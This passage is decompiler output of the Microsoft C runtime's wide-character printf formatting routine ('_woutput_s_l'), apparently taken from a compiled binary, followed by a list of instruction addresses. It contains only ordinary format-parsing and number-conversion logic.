																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B750( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041ACE0(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0xf2632e26
																				E00424550(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xf2d1ae26
																						E00424550(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0xf2c8ae26
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00428360(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ACE0(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041ACE0(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B410(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428360(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																			 *(__ebp - 0x49c) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L167;
																		}
																	case 8:
																		L106:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x484) = E00428360(__ebp + 0x14);
																		__eax = E00433F00();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L116:
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__ecx =  *(__ebp - 0x484);
																				__edx =  *(__ebp - 0x44c);
																				 *__ecx =  *(__ebp - 0x44c);
																			} else {
																				__edx =  *(__ebp - 0x484);
																				__ax =  *(__ebp - 0x44c);
																				 *( *(__ebp - 0x484)) = __ax;
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																		L107:
																		__ecx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x4f4) = 0;
																		} else {
																			 *(__ebp - 0x4f4) = 1;
																		}
																		__edx =  *(__ebp - 0x4f4);
																		 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E210();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x488);
																		if( *(__ebp - 0x488) != 0) {
																			L115:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		} else {
																			L114:
																			 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																			__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x4cc) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ACB0(__ecx);
																			__eax =  *(__ebp - 0x4cc);
																			goto L225;
																		}
																	case 9:
																		L148:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xa:
																		L143:
																		 *(__ebp - 0x30) = 8;
																		goto L144;
																	case 0xb:
																		L84:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x4f0) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x4f0);
																		 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428360(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																		__eflags =  *(__ebp - 0x10) & 0x00000020;
																		if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																			L98:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__ecx =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __ecx;
																			}
																			 *(__ebp - 0xc) = 1;
																			__edx =  *(__ebp - 4);
																			 *(__ebp - 0x480) =  *(__ebp - 4);
																			while(1) {
																				L101:
																				__eax =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c);
																				__ecx =  *(__ebp - 0x47c) - 1;
																				 *(__ebp - 0x47c) = __ecx;
																				__eflags =  *(__ebp - 0x47c);
																				if( *(__ebp - 0x47c) == 0) {
																					break;
																				}
																				L102:
																				__edx =  *(__ebp - 0x480);
																				__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																				if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																					break;
																				}
																				L103:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																			}
																			L104:
																			__edx =  *(__ebp - 0x480);
																			__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																			__eflags = __edx;
																			 *(__ebp - 0x24) = __edx;
																			goto L105;
																		} else {
																			L88:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __eax;
																			}
																			__ecx =  *(__ebp - 4);
																			 *(__ebp - 0x478) = __ecx;
																			 *(__ebp - 0x24) = 0;
																			while(1) {
																				L92:
																				__eax =  *(__ebp - 0x24);
																				__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																				if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																					break;
																				}
																				L93:
																				__ecx =  *(__ebp - 0x478);
																				__edx =  *__ecx;
																				__eflags =  *__ecx;
																				if( *__ecx == 0) {
																					break;
																				}
																				L94:
																				__ecx = __ebp - 0x40;
																				E0041ACE0(__ebp - 0x40) =  *(__ebp - 0x478);
																				__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																				__eax = E00431210( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																				__eflags = __eax;
																				if(__eax != 0) {
																					__edx =  *(__ebp - 0x478);
																					__edx =  *(__ebp - 0x478) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x478) = __edx;
																				}
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																				__edx =  *(__ebp - 0x24);
																				__edx =  *(__ebp - 0x24) + 1;
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																			}
																			L97:
																			L105:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		}
																	case 0xc:
																		L142:
																		 *(__ebp - 8) = 0xa;
																		while(1) {
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428360(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428360(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428380(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																			goto L163;
																		}
																	case 0xd:
																		goto L0;
																	case 0xe:
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																}
															case 8:
																L24:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L27;
															case 9:
																L25:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L27;
															case 0xa:
																L23:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L27;
															case 0xb:
																L22:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L27;
															case 0xc:
																L26:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L27;
															case 0xd:
																L27:
																goto L214;
														}
													} else {
														_t517 = 0;
														if(0 == 0) {
															 *(_t525 - 0x4dc) = 0;
														} else {
															 *(_t525 - 0x4dc) = 1;
														}
														 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
														if( *(_t525 - 0x46c) == 0) {
															_push(L"(\"Incorrect format specifier\", 0)");
															_push(0);
															_push(0x460);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t498 = L0041E210();
															_t527 = _t527 + 0x14;
															if(_t498 == 1) {
																asm("int3");
															}
														}
														L14:
														if( *(_t525 - 0x46c) != 0) {
															goto L16;
														} else {
															 *((intOrPtr*)(L00422D00(_t510))) = 0x16;
															E00422A90(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
															 *(_t525 - 0x4c8) = 0xffffffff;
															E0041ACB0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4c8);
															L225:
															return E0042BCB0(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
														}
													}
												}
												L215:
												__eflags =  *(_t525 - 0x45c);
												if( *(_t525 - 0x45c) == 0) {
													L218:
													 *(_t525 - 0x4f8) = 1;
													L219:
													_t517 =  *(_t525 - 0x4f8);
													 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t488 = L0041E210();
														_t527 = _t527 + 0x14;
														__eflags = _t488 - 1;
														if(_t488 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t525 - 0x4bc);
													if( *(_t525 - 0x4bc) != 0) {
														 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
														E0041ACB0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d4);
													} else {
														 *((intOrPtr*)(L00422D00(_t502))) = 0x16;
														E00422A90(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t525 - 0x4d0) = 0xffffffff;
														E0041ACB0(_t525 - 0x40);
														_t483 =  *(_t525 - 0x4d0);
													}
													goto L225;
												}
												L216:
												__eflags =  *(_t525 - 0x45c) - 7;
												if( *(_t525 - 0x45c) == 7) {
													goto L218;
												}
												L217:
												 *(_t525 - 0x4f8) = 0;
												goto L219;
											}
										}
										L184:
										__eflags =  *(__ebp - 0x24);
										if( *(__ebp - 0x24) == 0) {
											L186:
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											 *(__ebp - 4) =  *(__ebp - 4) - 1;
											__eax =  *(__ebp - 4);
											 *( *(__ebp - 4)) = 0x30;
											__ecx =  *(__ebp - 0x24);
											__ecx =  *(__ebp - 0x24) + 1;
											__eflags = __ecx;
											 *(__ebp - 0x24) = __ecx;
											goto L187;
										}
										L185:
										__eax =  *(__ebp - 4);
										__ecx =  *( *(__ebp - 4));
										__eflags = __ecx - 0x30;
										if(__ecx == 0x30) {
											goto L187;
										}
										goto L186;
									}
									L180:
									__eax =  *(__ebp - 8);
									asm("cdq");
									__ecx =  *(__ebp - 0x4a4);
									__edx =  *(__ebp - 0x4a8);
									__eax = E00430780( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
									 *(__ebp - 0x494) = __eax;
									__eax =  *(__ebp - 8);
									asm("cdq");
									__eax =  *(__ebp - 0x4a4);
									__ecx =  *(__ebp - 0x4a8);
									 *(__ebp - 0x4a8) = E00430800( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
									 *(__ebp - 0x4a4) = __edx;
									__eflags =  *(__ebp - 0x494) - 0x39;
									if( *(__ebp - 0x494) > 0x39) {
										__edx =  *(__ebp - 0x494);
										__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
										__eflags = __edx;
										 *(__ebp - 0x494) = __edx;
									}
									__eax =  *(__ebp - 4);
									 *( *(__ebp - 4)) =  *(__ebp - 0x494);
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									 *(__ebp - 4) =  *(__ebp - 4) - 1;
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									goto L179;
								}
							}
							L165:
							__eflags =  *(__ebp - 0x4a0);
							if( *(__ebp - 0x4a0) >= 0) {
								goto L167;
							}
							goto L166;
							L167:
							__ecx =  *(__ebp - 0x4a0);
							 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
							__edx =  *(__ebp - 0x49c);
							 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
							goto L168;
						}
					}
				}
			}

0x0043c249
0x0043c249
0x0043c249
0x0043c249
0x0043c249
0x0043c249
0x0043c249
0x0043c253
0x0043c253
0x0043c253
0x0043c25d
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x0043c380
0x0043c380
0x0043c387
0x00000000
0x00000000
0x0043c389
0x0043c389
0x0043c394
0x0043c39a
0x0043c39c
0x0043c3a2
0x0043c3a5
0x0043c3a7
0x0043c3ad
0x0043c3b6
0x0043c3bb
0x0043c3d8
0x0043c3db
0x0043c3db
0x0043c3e0
0x0043c3e5
0x0043c3e5
0x0043c3eb
0x0043c3ed
0x0043c3f3
0x0043c3f9
0x0043c3f9
0x0043c402
0x0043c402
0x0043c3eb
0x0043c408
0x0043c40c
0x0043c41a
0x0043c41d
0x0043c420
0x0043c427
0x0043c429
0x0043c429
0x0043c40e
0x0043c40e
0x0043c40e
0x0043c436
0x0043c436
0x0043c43c
0x0043c43e
0x0043c43e
0x0043c445
0x0043c44b
0x0043c44e
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x0043c45e
0x0043c464
0x0043c464
0x0043c46a
0x0043c4e7
0x0043c4ed
0x0043c4f0
0x0043c4f3
0x0043c4f6
0x0043c4f9
0x0043c4ff
0x0043c4ff
0x0043c505
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x0043c53a
0x0043c53d
0x0043c53d
0x0043c540
0x0043c545
0x0043c545
0x0043c54a
0x0043c561
0x0043c561
0x0043c564
0x0043c57b
0x0043c57b
0x0043c57e
0x0043c580
0x0043c585
0x0043c589
0x0043c589
0x0043c566
0x0043c566
0x0043c56b
0x0043c56f
0x0043c56f
0x0043c54c
0x0043c54c
0x0043c551
0x0043c555
0x0043c555
0x0043c54a
0x0043c593
0x0043c596
0x0043c599
0x0043c5a2
